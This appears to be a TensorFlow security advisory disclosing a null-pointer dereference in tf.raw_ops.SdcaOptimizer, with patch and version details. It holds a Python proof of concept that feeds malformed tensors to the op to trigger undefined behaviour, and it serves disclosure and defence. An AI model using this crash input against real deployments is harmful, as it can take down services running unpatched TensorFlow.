Reference binding to nullptr in `SdcaOptimizer`

Impact

The implementation of tf.raw_ops.SdcaOptimizer triggers undefined behavior due to dereferencing a null pointer:

import tensorflow as tf

sparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse_feature_values = []

dense_features = []
dense_weights = []

example_weights = tf.constant((0.0), dtype=tf.float32)
example_labels = tf.constant((0.0), dtype=tf.float32)

sparse_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse_weights = [tf.constant((0.0), dtype=tf.float32), tf.constant((0.0), dtype=tf.float32)]
  
example_state_data = tf.constant([0.0, 0.0, 0.0, 0.0], shape=[1, 4], dtype=tf.float32)
  
tf.raw_ops.SdcaOptimizer(
  sparse_example_indices=sparse_example_indices,
  sparse_feature_indices=sparse_feature_indices,
  sparse_feature_values=sparse_feature_values, dense_features=dense_features,
  example_weights=example_weights, example_labels=example_labels, 
  sparse_indices=sparse_indices, sparse_weights=sparse_weights, 
  dense_weights=dense_weights, example_state_data=example_state_data,
  loss_type="logistic_loss", l1=0.0, l2=0.0, num_loss_partitions=1,
  num_inner_iterations=1, adaptative=False)

The implementation does not validate that the user supplied arguments satisfy all constraints expected by the op.

Patches

We have patched the issue in GitHub commit f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.